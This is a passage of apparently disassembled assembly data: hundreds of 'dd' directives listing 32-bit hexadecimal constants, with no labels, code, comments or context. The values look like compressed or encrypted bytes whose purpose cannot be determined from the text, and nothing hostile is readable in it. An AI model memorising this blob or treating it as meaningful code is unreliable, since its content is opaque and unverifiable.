		dd 6492AB39h, 706CA57Ah, 0F63F4620h, 0FC01B73Fh, 0F2DF39BBh
		dd 0FB3B1C89h, 0AA066321h, 280A06D0h, 7F7F9F2h,	0CF82200h
		dd 0CEF827h, 2C313A1Fh,	0FB363A32h, 6D3E78B3h, 37D6396Ch
		dd 16965A5Bh, 0F2055494h, 22E1A72Fh, 0A802DE6h,	8927F202h
		dd 36353520h, 663D37B3h, 654D3B67h, 3D32EF38h, 95CD1505h
		dd 71394F9Bh, 12302362h, 0AD9DCB22h, 2CADB02Bh,	131AABEh
		dd 34A10B1Dh, 38A9E75Ch, 0DB3C7AE1h, 2E3B3EDBh,	21FAB765h
		dd 2564A431h, 1826638Dh, 9CBE2B6Ch, 316AF62Ah, 31327261h
		dd 9836A36Dh, 2C383A6Fh, 6B3EAAD0h, 8CEC37F4h, 0E0213BBAh
		dd 2EC6262Bh, 9BC22D42h, 0B11E24DFh, 3B3920F1h,	27BF24BFh
		dd 361E0A97h, 612052C7h, 7A0C24BFh, 310143CCh, 17052405h
		dd 48CD0C8Dh, 7E136C7Dh, 131534FFh, 108C7C26h, 0D246E8BAh
		dd 2ABF2F85h, 103D1D70h, 0E4243C46h, 80692E03h,	6BC14726h
		dd 200D2EAFh, 31F51B78h, 4123E13h, 3F0A8730h, 2839DDBh
		dd 0E41ED238h, 0CD1AF87Ah, 44FB2284h, 2884C4CCh, 0E9FF2FCAh
		dd 722ACF2Dh, 8C33F2F7h
		dd 0C93C3735h, 0C390BB3Ch, 0FAF90D75h, 0AA2D571Dh, 10722300h
		dd 6C67E9E0h, 0A5C23E1Bh, 1C662A6Dh, 3712D7EEh,	9AD681F3h
		dd 9B618DF9h, 0E793D12Bh, 0FE16F403h, 8A8CD053h, 8BD12C23h
		dd 3683E91h, 4E5681C2h,	559CDC2Ah, 0DF583672h, 383A6E9Ah
		dd 3EEEB834h, 19091B3Ch, 29351F1Bh, 0E1D63622h,	29ABD8D8h
		dd 69A14BECh, 0BA60230Ah, 1ADCFD22h, 31BC37F8h,	19946FB7h
		dd 3F1BB632h, 0EE0E1E4Fh, 7421B421h, 0C02F1625h, 0D3D5E54Eh
		dd 44EFAA7Dh, 1418327Ah, 70677734h, 3C344526h, 0E1E2BB6h
		dd 0A5AC1974h, 9B722710h, 152671ACh, 0C33FFB2Ah, 0E247D4Dh
		dd 53B1D819h, 0BE61CAFAh, 7B32B98Dh, 3F2A2C2Dh,	0C1D4C1Ah
		dd 6AD3FFFh, 21B52D9Bh,	38DBB035h, 0AA9EB3Fh, 3265907Fh
		dd 25348435h, 4C3B273Eh, 0C2B3702Dh, 1E130D40h,	23C1DE95h
		dd 22E32CABh, 0A975C09h, 0C51D5001h, 11C3C3ABh,	0BC33A326h
		dd 36160106h, 0AB21A439h, 0ED6E5D23h, 8BF7D650h, 39B35D40h
		dd 2CC7FDECh, 4DB531D8h, 8932BE28h, 29A13240h, 0F9BC1AC2h
		dd 0B53F4C99h, 2A2E375Ah, 361F74B2h, 2D4B103Fh,	7E0BA5EAh
		dd 38C723ABh, 36E7928h,	68333525h, 0C8359E58h, 38D7383Bh
		dd 6956C256h, 1E1D5FB7h, 2280441Eh, 0AF417427h,	2E290D3Fh
		dd 584D8F0Bh, 221544A6h, 0EDC7019h, 0D3063892h,	6A3D9916h
		dd 0B83EF27Bh, 36C9761Eh, 179C2382h, 0E62D5556h, 253DC4FAh
		dd 744AC128h, 90D73534h, 0E1D11D36h, 79033B9Fh,	1CBEF2D7h
		dd 85DDF749h, 0CD874B21h, 90278692h, 432D28E1h,	0A9722822h
		dd 3531F339h, 0A81DE2DDh, 0BB1B71DBh, 7FA01659h, 9FD73883h
		dd 0ABBBA802h, 0A8C38806h, 0E329250Ah, 7D13A67Bh, 38DB74Ch
		dd 0B23D0639h, 0BB4E59C8h, 0B9B5EA51h, 3D01FCA0h, 2D6320DBh
		dd 47AA5BCBh, 53D9C016h, 70720C6Bh, 0F6B23874h,	0BB52757Fh
		dd 58D13C78h, 0F52F7EBBh, 0DC9C88D7h, 323D2CDFh, 11250122h
		dd 1D2B7370h, 678C378h,	9B2276Eh, 6507700Dh, 39B001B6h
		dd 0BD3E386Eh, 1A9F081Fh, 78205D4Bh, 0A0E57021h, 2B278601h
		dd 31C3AE2Ah, 53DD6C82h, 7C15403Ch, 72376760h, 1256B8EAh
		dd 0EB66247Fh, 0D5EA1D4Dh, 0BB40636Dh, 41BC2455h, 67288E4Ah
		dd 7DEA3D80h, 45AB234Fh, 51A4C46h, 0B76B1C69h, 0DD4BDC4Bh
		dd 23116D10h, 1DB36BEAh, 0A4667291h, 5B029644h,	51CD5FC2h
		dd 91A5368Eh, 0B606663Ah, 0D330991Fh, 0DFA25D67h, 0EC29901Dh
		dd 0DE703DDFh, 0AD32C3F4h, 364D1805h, 2D33FC2Ah, 40012F31h
		dd 8545075Ah, 481681D6h, 4C1E4780h, 239DFED4h, 326E316Ch
		dd 2EAA5E1h, 14E1EB54h,	0B9E9ED4Dh, 302FD12Fh, 0F79E72D9h
		dd 0BCDEC9C9h, 1CB60CF9h, 45D70C72h, 0D4401CD5h, 0E74271C8h
		dd 1AE7DAD8h, 6F2FE844h, 7F3E094Ch, 0AEF20E58h,	6A5E70F7h
		dd 3B521BF9h, 0FEEAF93Ah, 1D9D5412h, 2261A0A6h,	299A920h
		dd 6B4BC10Bh, 4CC82BABh, 425147E2h, 747054Ch, 492898F3h
		dd 0D64F6C73h, 72CAF29h, 0E1E705AFh, 50E4A621h,	3BA0212Ah
		dd 69412B3Dh, 396D7171h, 716F3282h, 3DFA775Bh, 623DC53Ah
		dd 131B3053h, 2F1F111Dh, 2B232D21h, 0F9612034h,	2C6A6228h
		dd 1A3F0E67h, 64A9627Dh, 0B863FC45h, 353D6FF0h,	0A26D360Eh
		dd 6B93911Ch, 0AE320504h, 67720158h, 9252613Bh,	0DC0E472Ch
		dd 3CDA6195h, 0C8CB35D4h, 0F1EADB3h, 3F3E3C3Dh,	97D42F1Ah
		dd 2A3D0453h, 0A2717A3Fh, 231D6703h, 27800D64h,	8E59396Eh
		dd 16653DD2h, 3A6DF88Fh, 0D634CE39h, 3DB8197Eh,	77754C00h
		dd 0ADE5A075h, 0F880CF22h, 0CD08873Fh, 61702EFEh, 0DD4A7EBFh
		dd 0BC3EF785h, 0B833FBBAh, 1E1B3A31h, 0C83F8C4Ch, 56F72D60h
		dd 0C1262C2Ah, 236A2F32h, 0B50201E1h, 0B93032D2h, 28137A35h
		dd 0C39ECCD1h, 9FB46EC2h, 6A9E7538h, 7333E348h,	2464E2E6h
		dd 0D33FD62Eh, 64EE772Ch, 0AE0AB011h, 0B7663634h, 0FBD22D33h
		dd 0C0C19A4Ah, 4AD91D71h, 2A65480Fh, 0A535CE96h, 59A918CBh
		dd 442C2C2Bh, 58385A3Fh, 79155E30h, 3E532E5Dh, 54197C7Bh
		dd 7A9C1A3Dh, 0BAFB1AD9h, 247423C3h, 0A96C6316h, 0A81C5E27h
		dd 15F40FADh, 85FCB864h, 31387324h, 0FDADD33Eh,	1495B224h
		dd 0DF7DFAF5h, 64E311DEh, 6EAE263Ch, 0E8A87421h, 672CED21h
		dd 751FBC29h, 0D0676031h, 0BD5838F6h, 3F4BB527h, 0E5DA9E10h
		dd 48352024h, 0C6B3E25h, 3B2B3D3Ah, 279C232Ch, 5DAA5F0h
		dd 3B3B3865h, 75737969h, 7E063C34h, 0E14A04BAh,	2195620Ah
		dd 52D3A177h, 0EE6DA82Dh, 0AF2BAF74h, 3302305Ah, 2A19349Eh
		dd 0CF21B9B7h, 0B66C18BBh, 75D0B76h, 6760569Ch,	0A8B02BA2h
		dd 0AD6E6772h, 7D7E1028h, 73416967h, 8FB13CB7h,	68BB7178h
		dd 1C347D7Ah, 3C631BAAh, 781D2B05h, 9F9D2013h, 2A163A85h
		dd 2D291C84h, 42D1BB2h,	33893003h, 0EBE3A81h, 9199B3Bh
		dd 190D2E3Fh, 15CAA0A6h, 52201745h, 0CB24107Eh,	0AD7E01B9h
		dd 6E35B9B4h, 0B1A3306h, 51FFD36h, 83D133Ah, 304E3FA7h
		dd 40A6197Ah, 0EE24418Ah, 86952482h, 98A99027h,	71457A29h
		dd 4E32302Ah, 37BE7C92h, 96117534h, 3E49BFD2h, 0C11C6944h
		dd 5353BDF7h, 4ECDE722h, 5D4B2652h, 5977812Ah, 33447C2Fh
		dd 76354779h, 2923642h,	332C3B4Bh, 1C6AA488h, 51B6100Dh
		dd 932D3221h, 38222654h, 2C5BEF27h, 312F9623h, 0E7303228h
		dd 38377594h, 0AF3E1A20h, 183F3F24h, 5B19655Ch,	23DD3420h
		dd 85367524h, 2A23296Bh, 2C2E108Ch, 6337997Ah, 32663544h
		dd 7F1E7D28h, 0F361D0Fh, 6B1DDB20h, 7DE11313h, 64A4797Dh
		dd 0E93DA9E3h, 0F0101A0h, 16314C7Bh, 39CAB13Fh,	3A399BB2h
		dd 543B5638h, 0E21E713Eh, 60100A1Ah, 0DBA7D37Ah, 5A2253D9h
		dd 4DE64D2Ah, 0B8E21C2Bh, 2F107B66h, 403976B7h,	0F939FAD9h
		dd 1D5A1AECh, 1A095C02h, 11226307h, 25666F2Bh, 24EA6249h
		dd 122FA376h, 34BBA087h, 0F9710734h, 7D1F963Ah,	58E89A35h
		dd 7BEC1FDDh, 21AF23E1h, 73BE010Bh, 0EEF92869h,	53D02C6Dh
		dd 482573A5h, 9CB222A1h, 6D3CAB3Ah, 1FDA28C3h, 183D291Eh
		dd 0EA6E8077h, 125538E3h, 0F097B17h, 2C2DD3D4h,	62332F7Bh
		dd 0D7E895F7h, 47D16833h, 586D47FBh, 89147B52h,	2140127Eh
		dd 9524425Eh, 0C1A47F25h, 0BD25CA65h, 7158572Eh, 35CBCC96h
		dd 2D1C7BBBh, 6518A7B2h, 0F45B3F3Fh, 0DFE08885h, 2523224Bh
		dd 3C4D354Fh, 2E412C43h, 3F212E22h, 3759205Bh, 523EB65Fh
		dd 56745034h, 33313E25h, 1F1B771Ah, 4B222E16h, 2F864F78h
		dd 0B6DDC179h, 2E7E9D2Dh, 3E8BFBDh, 36766535h, 0D32A0528h
		dd 0F87AEDF3h, 0FE1F281Ch, 3392339Fh, 0A64DDB10h, 1A394735h
		dd 175DE1A0h, 9037F713h, 0F034551Bh, 3A092F71h,	7E3DBD2Eh
		dd 0DA1D1B29h, 0E610758h, 395AA3ABh, 0C10859AFh, 251B1B66h
		dd 32149012h, 1D36C333h, 536A335Ch, 0C258533Eh,	0F45C5FC1h
		dd 0F11C2E58h, 4C872897h, 0C1215775h, 869E96Eh,	587F97FDh
		dd 603032B1h, 3A6B2937h, 3E6B7B18h, 6E1B4D04h, 75461C3Ch
		dd 74733160h, 14B199CCh, 0C720AC8Eh, 7F312D7Eh,	3BC2B930h
		dd 4711BDBCh, 34133638h, 3F39383Ch, 0C52E4948h,	0E11ACD2Ch
		dd 0BBAB2B63h, 38142B27h, 0A349234Fh, 3E62E0BDh, 8F1DC4B3h
		dd 8EBBB53Fh, 0BAB634A8h, 4CAAE56Fh, 34DF5776h,	1C7CC376h
		dd 5D21A6B8h, 4EAC09C2h, 0B234E9ADh, 0E30B3F5h,	0B2D542C3h
		dd 1060BEFDh, 140316BEh
		dd 7537937Fh, 0AF3302A0h, 0B927CF27h, 70A07932h, 312E3609h
		dd 6260261Fh, 0EADFFBBEh, 14B94E3Bh, 45CE4B72h,	42184247h
		dd 7AA30135h, 7727254Eh, 0E906ED2Eh, 2E262D20h,	0B9126663h
		dd 4601DD2Ch, 6BC5C63Ch, 4AB3053Fh, 0F6594A1Ah,	0EC2CA23Fh
		dd 2BA4FCA8h, 6AD2AEACh, 0A548D826h, 9275147Bh,	86663E3Eh
		dd 63397C3Ah, 0B5C6B7F6h, 1E156BFFh, 28F194ECh,	2D20D371h
		dd 0C8272777h, 7B232BDEh, 0FF30A42Ah, 334ADB60h, 3B0BC8C8h
		dd 0B4593BFAh, 9F453778h, 381318D9h, 657A2CF2h,	0C0777021h
		dd 2DDEBEADh, 145BA518h, 0CDB8323Dh, 39DD1834h,	6AB6ABB9h
		dd 3B3F47AEh, 17AA011Ch, 9638A170h, 25C730AFh, 0E9A36BACh
		dd 0BAAA72Ch, 323AD190h, 0B2BE50B4h, 393A3132h,	50BE7183h
		dd 51BD737Bh, 23812692h, 2AA024E5h, 4C2A282Fh, 0E2E69ECh
		dd 19587156h, 3060B9CAh, 0B1F838BCh, 0FFC7B7CCh, 0EE1C19D6h
		dd 0AAE894BBh, 24D927DDh, 29E83CCEh, 2D1AC229h,	3031F02Dh
		dd 5D8D3332h, 38387347h, 0AD3BC3D3h, 1D193060h,	499F761Dh
		dd 25C32260h, 29D85ACDh, 24240B79h, 8A212A0Ah, 301C6891h
		dd 0C75D3634h, 9C3B3B51h, 7F3E3E7Eh, 9F1A1DBDh,	284DBB66h
		dd 4D292FC5h, 2D0B6E22h, 0A248F07h, 39923873h, 0B63C9516h
		dd 9A06D3FEh, 359A6B36h, 1F4A1CA6h, 0A42B824Bh,	262F8466h
		dd 747614A6h, 0D0AC6870h, 0ADA89913h, 29352BB1h, 25392737h
		dd 2D3D233Bh, 89541B20h, 8D231F08h, 25332423h, 2892E525h
		dd 2E2C332Dh, 31372EE6h, 34E271C4h, 3A382D31h, 263FBADEh
		dd 0EE183F36h, 20031D9Ch, 24028625h, 2B273B26h,	3228AB27h
		dd 2C2CAA2Dh, 342C31B0h, 3BB61C36h, 3F3B1A29h, 3A3CBF05h
		dd 1D1F7596h, 1407445h,	0B326844Fh, 6C80D73h, 0DE2BECC4h
		dd 79329063h, 23F7C8h, 0CAC800FAh, 0AD733C5Dh, 0B61DBDD4h
		dd 612181B1h, 0B4604699h, 83298998h, 2A294D1Dh,	603AF082h
		dd 7C3736ECh, 424BFA2Ah, 0C6914EF9h, 1A15B93Fh,	42507619h
		dd 0A22325A8h, 234C3D20h, 2B2B2E2Ch, 14352365h,	75683141h
		dd 566B3416h, 3C4B4F5Ch, 514738BEh, 4F6D7D74h, 27632352h
		dd 6D6B6979h, 2C652C29h, 486A2D2Dh, 40465154h, 253533Dh
		dd 3C1512F9h, 0E46A6FF2h, 1FDBB909h, 0F1112022h, 0B229DD1Fh
		dd 0A060EB28h, 0E9A572DEh, 0F06C2D6Dh, 18894C1Ch, 3F505B94h
		dd 0C3FA556h, 0FC575FEDh, 0E22E550Dh, 9F2D204Ah, 0A3771587h
		dd 24ECA729h, 3A5290ECh, 37BCA493h, 9632FEBCh, 0C32989BAh
		dd 510E5EC0h, 70220D5Eh, 0CDEA93A9h, 31289ED0h,	6C60482Bh
		dd 712D4DA5h, 0E2CB63A8h, 37791576h, 6D796FB3h,	145E3038h
		dd 2F1F4A12h, 2471F822h, 27219C2Ah, 2DCAAD28h, 6A20260Dh
		dd 3D3C3465h, 8F6393Dh,	0F32BB125h, 0EB42D66Dh,	0D0954B35h
		dd 0C3A9C964h, 2F61AE19h, 7322408h, 2F5EA464h, 36D17E0h
		dd 0D86F6E16h, 1A453324h, 26613D33h, 0E1069BDBh, 0DA0D021Eh
		dd 0C6FFCC73h, 0E538390Ch, 0CE2E3340h, 76A9D041h, 0E2343432h
		dd 7B873B73h, 17412538h, 144187Bh, 62361C5Eh, 1E5A2E2h
		dd 28883A0Fh, 2C8854B0h, 91353141h, 3EF70D33h, 1265F6B7h
		dd 2F5CBEA7h, 9D041C85h, 0E13159DCh, 5F33B620h,	0EA5727E1h
		dd 0E853A828h, 0F2AABC2Ch, 0F0B1D530h, 734F7D4Ah, 5C7470D0h
		dd 5B3A1E7Eh, 94109D2Fh, 3B6081DEh, 0C7280527h,	0A0FBDE06h
		dd 352A0EDh, 3A16CF1Ah,	971A25B4h, 17FABC31h, 754199CFh
		dd 6A055668h, 4F905755h, 20426E4Fh, 7D634B25h, 644E2DCDh
		dd 33D48768h, 2BB50CF3h, 33587338h, 7769357Fh, 38D3C736h
		dd 0C1AD1625h, 38263230h, 0C1792E66h, 0E7256179h, 5E396F26h
		dd 0ACA27113h, 243D3E17h, 34753190h, 18127BACh,	0E21C387Dh
		dd 0E51B883Ah, 21252D3Eh, 25222E35h, 178D272Dh,	369396C2h
		dd 38F127BEh, 7FB03B3Bh, 3FBBF80Fh, 1CDE86AAh, 0D3392140h
		dd 80264521h, 3028294Bh, 2E2E283Dh, 323209B0h, 0BC054074h
		dd 0BE0A50Dh, 3DFAFD30h, 4E1B1E73h, 6491F6E0h, 3D172383h
		dd 0BA412CA7h, 293D2D0Ah, 0F3A6462Fh, 67373532h, 4BF56A37h
		dd 0C063B22h, 6FEE6869h, 21718A2Ch, 0B626A13Ah,	0A9963C84h
		dd 1C0955ABh, 0AD1EB31h, 37350A6Dh, 6811234Ch, 3DF73E3Ah
		dd 1AA9BF3Fh, 91B67EB6h, 751FD423h, 2E25E725h, 0BE3F6B85h
		dd 70364C99h, 0A0BACEBAh, 3B76F811h, 0FA1F1EBDh, 0BECC3EFDh
		dd 0BA78095Ch, 0DC640141h, 0A67AB030h, 0E767E93Ch, 0AE2D2D3Ch
		dd 5B3A91F4h, 570F32E4h, 3AEA2C0Ah, 0B8001F0Dh,	9EDE995Ch
		dd 75DEDFE2h, 24FA65CBh, 0EA43DA04h, 6B11A0A6h,	0F0393CADh
		dd 0E220CB4Fh, 3ABA0AB7h, 0FEB830FFh, 265B1C4Bh, 0FE5CE21Eh
		dd 0E2A784C9h, 0D4132722h, 93233357h, 31B113BAh, 6767313Ch
		dd 3B9022C9h, 3C349933h, 6090D736h, 0A89B009Eh,	7373363Fh
		dd 0BB1738ADh, 8AFED29h, 362F28FDh, 82692D9h, 0B867C9CAh
		dd 1E3BFA09h, 3D3E6E7Bh, 9B76091Ch, 727AA116h, 0D733DA24h
		dd 0A82B2BF3h, 2F3E0FE8h, 3032D93Bh, 0C8342DB7h, 0D33A39F9h
		dd 0C0C10B1Dh, 1F1D2F1Ah, 21A22209h, 27ED15A3h,	5B883469h
		dd 280DAD2Bh, 2A41B92Ch, 3704AC92h, 3B2A0DC1h, 0CF08A34Bh
		dd 0F1F8F3Fh, 0C02D0F3Ah, 0DA172FF4h, 31878FCDh, 2D232B25h
		dd 3E3020A9h, 64343332h, 886E6265h, 0E24BBEDh, 2FF60CC8h
		dd 716A9EC6h, 0A02C6511h, 0F0084640h, 0EC190A5Ah, 512DEA48h
		dd 373B2811h, 0FD129426h, 4C5A6C21h, 7A776261h,	327871DCh
		dd 5344486Ch, 0B7CA079h, 2A6C722Fh, 232A2E2Ch, 0AB477633h
		dd 7757585Ah, 3138EC5Dh, 0F33F2E67h, 18D5F3Bh, 474D37BFh
		dd 21E7F126h, 7AAAAD28h, 5AC62F2Bh, 704D3C0Eh, 7E308A37h
		dd 2A1A8A33h, 5668D75Fh, 179A4E0Fh, 712A9CB7h, 84B62680h
		dd 3C28D823h, 2C2EF022h, 3C34EBADh, 55C508D2h, 3F35F70Fh
		dd 2548F801h, 0DD04D410h, 551E5E17h, 62E4C225h,	9823262Dh
		dd 3328C294h, 0B3E31E29h, 32D33EDDh, 68C68714h,	9D64D21Dh
		dd 0FB37B53Eh, 0AD4F150Ah, 9A268172h, 0D42EC5DFh, 22CB7975h
		dd 2EDC447Eh, 60F33566h, 436843Ah, 3DBAF9FAh, 61367BB5h
		dd 10B5FD2Bh, 4835061Fh, 26853401h, 8A2A4224h, 0BE477847h
		dd 0BCD96234h, 1EF118D2h, 3C631E31h, 0FEAA3ABBh, 923A1A0Ah
		dd 0FAA1FFEh, 250163ACh, 780EE600h, 0EC970D2Eh,	5162D5Bh
		dd 95881530h, 781E2538h, 63C46438h, 1ED9FF0Ch, 21D951F5h
		dd 24CACA0Ch, 0E8EFA33Dh, 382A255Ch, 232D15C5h,	3C292CB1h
		dd 38263137h, 0B71C3B4Bh, 0F32B6CF3h, 33B1B9Fh,	96570422h
		dd 652604AFh, 6B5EE9ADh, 0A426042Ch, 0DB62FF10h, 0B6B5F0B5h
		dd 4FFAF0BDh, 0D73F573Bh, 12726B3Bh, 3EA14B6Dh,	6091720h
		dd 58595A42h, 2A175E44h, 1406B642h, 7437A463h, 3E3938B4h
		dd 3E3C33C3h, 1F1D1E3Dh, 0DCD03F1Fh, 2124235Dh,	6B6574D9h
		dd 2D282B58h, 31F87C36h, 3527043Ch, 395A3236h, 7E6C393Bh
		dd 0C0A7F34h, 17589F4Dh, 0B0A86E01h, 87262273h,	1F434AB5h
		dd 583B2EEDh, 743B74B8h, 0BB3F3A38h, 1C7A1CA7h,	0F36F6839h
		dd 94ABFD0Dh, 0A262CC28h, 0A6BDA528h, 244B3523h, 253C08C1h
		dd 333A305Bh, 0FC973D33h, 852AD9DFh, 0A9833933h, 4DDD7E06h
		dd 212E3D80h, 765B286Bh, 881D5F3Bh, 2C2C2E24h, 3D3AD0AEh
		dd 5C373331h, 0AAD13C27h, 0BB332ED0h, 2CDD6FFFh, 30AB1711h
		dd 87DB33ABh, 43282726h
		dd 99BD43D5h, 31312F6Dh, 31349256h, 1CB15366h, 3CFD3C3Fh
		dd 1F1B0039h, 2F1B15D1h, 25F42524h, 2B276422h, 232F21CBh
		dd 31C22928h, 37337736h, 373325CDh, 0B5383D3Ch,	1B77393Dh
		dd 1E10331Fh, 262D2127h, 20273C23h, 28062963h, 2A212908h
		dd 30B31E37h, 341A357Ah, 7B2039ACh, 4170B06Ch, 6A1D1AF3h
		dd 2DE1209Ah, 2624E6A6h, 0AA087B25h, 0BDC5086Eh, 747B3062h
		dd 0ED06BC19h, 163E3867h, 2BBFA0B2h, 3940923Fh,	72DAF736h
		dd 4FDBA3DDh, 28284F27h, 2C722B1Ch, 5B24212Eh, 0FBBF6230h
		dd 792FC62Ah, 68D46926h, 184A3CECh, 55F70709h, 0F60B21F3h
		dd 0FB8CAE26h, 0B02CBC2Ah, 20022DFFh, 23D12931h, 92B71C73h
		dd 0D42139E0h, 373CEC05h, 541DCFC9h, 0F17D22FCh, 38D70027h
		dd 31A0D2Ah, 1FF5C57Dh,	2831E722h, 0FFBD1934h, 3BAEA538h
		dd 0D7362CA0h, 0DA1F144Bh, 0A92220BFh, 0E023D429h, 114A2855h
		dd 2AA823D8h, 2E31CDDCh, 0BE45107Fh, 223B31ABh,	293D66D3h
		dd 1D147DD6h, 21481D3Eh, 7B251523h, 75A803A2h, 472E2B29h
		dd 14307F2Fh, 87241383h, 6B114C3Bh, 3D271D65h, 4E692E3Fh
		dd 0A2B24C61h, 5732C12Ah, 896A0964h, 2B796209h,	7BDDAD07h
		dd 8D66C05Fh, 856376A7h, 733B8B6Ch, 1A8535EFh, 0BC7CE829h
		dd 0C423B520h, 76D86E76h, 0FA764F28h, 3D6F872Dh, 3D02D331h
		dd 27D57D31h, 530BAD3Bh, 3FC13D7Ch, 9E76D01Bh, 62C1221Fh
		dd 1025DB23h, 6E6D44D7h, 2F6C252Bh, 7229382Fh, 37053931h
		dd 4B093B37h, 3F3C4D3Bh, 1D8C1A07h, 1361FE1h, 253DB027h
		dd 0B92B2723h, 382C68CEh, 31513F3Bh, 25BC43E3h,	0A9857533h
		dd 9C71D00Bh, 111A9D3Ah, 21BD162Bh, 74AB0A41h, 1B268457h
		dd 0D03E5EA2h, 0F08F3B6Ch, 2432837Ah, 4874BE22h, 253A885Fh
		dd 0AACB33B6h, 0A32971Dh, 52240D8h, 4FD62721h, 64205DDEh
		dd 0CF090F70h, 0C1FA9C31h, 73423F34h, 3BDAA43Eh, 9F1AB9B6h
		dd 6B309D9Ah, 5CCCA50Ch, 366FE403h, 0EDC17E37h,	5B6025EBh
		dd 23DAE4DCh, 15383513h, 2F69B536h, 1FF63D1Bh, 470C6336h
		dd 3DCB1B1Eh, 27552701h, 7FE8A3A6h, 7C8E7C2Dh, 1462582Dh
		dd 308D9773h, 9B981776h, 0B574C117h, 1C9A9223h,	204EAFBFh
		dd 808622D2h, 2B27339Bh, 7AAE0CC2h, 327CA62Fh, 0A22EBB57h
		dd 0A3113457h, 51DB385Ah, 416F2983h, 9A1E42D5h,	202D57FBh
		dd 2732AFD6h, 2BE96940h, 0E3FCC52Fh, 13BB5D32h,	0B23A1170h
		dd 23A6B9F8h, 4B3A3D3Ch, 0F6D59710h, 0A2205D3Dh, 24CED43Bh
		dd 0A5A2DE14h, 0A7062C7Ah, 3031AD91h, 0BD31B4BDh, 0B7026F37h
		dd 70B01A7Ch, 9D4C1119h, 6F210308h, 0AC1F75ABh,	72AA286h
		dd 6C99BEC3h, 3D72DF22h, 3D2AFD7Fh, 30F95903h, 0FC380B6Eh
		dd 34C91937h, 40171F53h, 222B200Ch, 38662E2Bh, 39362F07h
		dd 0B50C0CC4h, 2CDA1833h, 0D10834B0h, 2C7A37F3h, 0DE2F7CADh
		dd 5F4BD3D5h, 60517B61h, 8B3921C3h, 0B7E56E8h, 6A7E335Ch
		dd 3272D131h, 0AFDE30A0h, 3AAFB139h, 3EAEBD2Ch,	1E5D04B5h
		dd 26A1218Dh, 6624B1E3h, 0AAFC2962h, 2F68DC0Bh,	5A33D14Fh
		dd 12D43473h, 3A484B81h, 4FBC38FBh, 9238FB3Fh, 0C10D1F6Fh
		dd 2401AA46h, 19C47A26h, 2D467C7Ch, 215A2F2Fh, 215E3058h
		dd 0B939785Ch, 3856383Bh, 15712D54h, 0AB1B741Dh, 0A92648D0h
		dd 10032661h, 0EB7B3843h, 310F36ABh, 0EFDB3431h, 6E0F4837h
		dd 0FBF3B139h, 1B7B1A79h, 0E8F61D18h, 3C223E20h, 38263A24h
		dd 2B35D628h, 2F312D33h, 332D312Fh, 3729352Bh, 34C53937h
		dd 303E323Ch, 111D131Bh, 2D212F1Fh, 59252B23h, 2A262828h
		dd 2E222C24h, 323E3020h, 1663343Dh, 0D2C8B360h,	0B54E6C20h
		dd 11381B43h, 73AEA744h, 0A930A351h, 973EB074h,	346B79B8h
		dd 63296E7Ah, 0B557FBDAh, 10217E7Ch, 7EFDDED2h,	99C06EBCh
		dd 0A55B1C5Fh, 30CB7270h, 5E76A897h, 0AE7D6AD3h, 15AF627Ch
		dd 0A53363B4h, 68B03764h, 0B81FB6B4h, 1DD73D3Dh, 3F6F7315h
		dd 0E3723A01h, 0CF38E4A7h, 6CA94531h, 37AE44ACh, 7ABC62h
		dd 36373DDCh, 0B13BE93Dh, 1B42B69Dh, 1C4C940Fh,	7520D157h
		dd 0CEEBAF73h, 9C42AA47h, 0A67A0C2Ah, 890347Eh,	0BFBF35A2h
		dd 11983D7Fh, 3FCDF0D3h, 15FF961Dh, 0EE02FECAh,	2424CB56h
		dd 0A09C2FD0h, 0D12FE886h, 39802E3Eh, 811F6276h, 6429FAB9h
		dd 0AD085A92h, 197B952Eh, 0F6321F98h, 2D6C48F1h, 48D6B6CDh
		dd 380F7EA9h, 0F3C77C7Dh, 14B04E81h, 1D0BF772h,	1F512753h
		dd 59B08F7Dh, 5FD8331Fh, 0CBE62023h, 6BA524A6h,	0DBAA210Ch
		dd 3FF8E628h, 2D12FA3Ah, 19392092h, 7C9B3739h, 0DD7D24E0h
		dd 0DE133D14h, 23832C6Ah, 36575182h, 68D55D85h,	3E203C68h
		dd 16893F72h, 73D51E6Bh, 4859A0C1h, 821AAC99h, 3968141Eh
		dd 53F15412h, 55FFE853h, 0F9EE0C26h, 0F70E3B2Ah, 3CEC240Eh
		dd 384AF182h, 73B8CEE6h, 4F0CCB11h, 3B143B5Eh, 24EE1905h
		dd 58D4BBC9h, 0B8E522E5h, 0F3A3F52Bh, 302657A5h, 191FF203h
		dd 0ED95282Ah, 0BF4D34BBh, 736FAC33h, 0E1C9156h, 10332275h
		dd 0B7392CE4h, 0E7BAB930h, 2F242D53h, 1BA2DDB1h, 0B7343536h
		dd 3ABAAD40h, 692E686Fh, 1E4EA54Ch, 5EACD06Fh, 0D53D0023h
		dd 0E95A382h, 6BAD0D17h, 7215BCA4h, 4ABC35B3h, 0C2BA5C77h
		dd 38483439h, 0F6569BB2h, 417C921Ah, 0E5173706h, 2908E771h
		dd 5EA86B4Eh, 0B802CF3Eh, 0D528B77Eh, 7920332Eh, 6BB739BBh
		dd 165DB416h, 30733E31h, 72A860E0h, 0E806772Dh,	7F697F1Fh
		dd 182CAE7Fh, 942F36D9h, 0FC138AB8h, 3E3B33F9h,	5F6D95CEh
		dd 3C0D0D5Dh, 44221D0h,	0F68230DBh, 290E652Eh, 3F293C04h
		dd 133E70C6h, 862C1B41h, 6B345D32h, 70FE6A3Eh, 0E10F9DCEh
		dd 8F55239Dh, 0AD312593h, 68380877h, 983C7CA2h,	78F3BB63h
		dd 0CA6DCBCCh, 7F97EDFh, 0BE412ABBh, 96BCF429h,	7EAB0751h
		dd 0A10A35A3h, 0B0E80730h, 2DECAF86h, 353DE538h, 2334F133h
		dd 4C3C1362h, 62B72FD9h, 1D44293Bh, 21940216h, 78AAC921h
		dd 19E42201h, 0A74F2AE9h, 0F0AA1E6Dh, 32532629h, 0FE2F6625h
		dd 2A7F2EBDh, 736E373Fh, 0ADA380Ch, 0A90981CDh,	0AD3324B2h
		dd 3DAA80AEh, 3AEA7D7Eh, 0B827F279h, 97375B94h,	6664660Bh
		dd 5B653C8Ch, 1E10959Bh, 0C2E5A11Bh, 0E4E52623h, 0BA282823h
		dd 312D33E7h, 3572D87Eh, 6D32202Dh, 0BED16C14h,	34B12237h
		dd 31D4F21h, 26C80B4Ch,	0A2E03D25h, 61C0031Ah, 7D32272Fh
		dd 5B35312Ah, 74265927h, 692C6C34h, 39A0F0D2h, 385F7320h
		dd 5039A2Dh, 38AF2DC9h,	34A16732h, 4627403Ah, 0C37F7504h
		dd 7873BF9Ah, 305D1A11h, 0B02ADA68h, 9E371FE0h,	0C7001BDh
		dd 8C782692h, 7F384423h, 6B7A1CA3h, 3B3F2D2Dh, 72330D11h
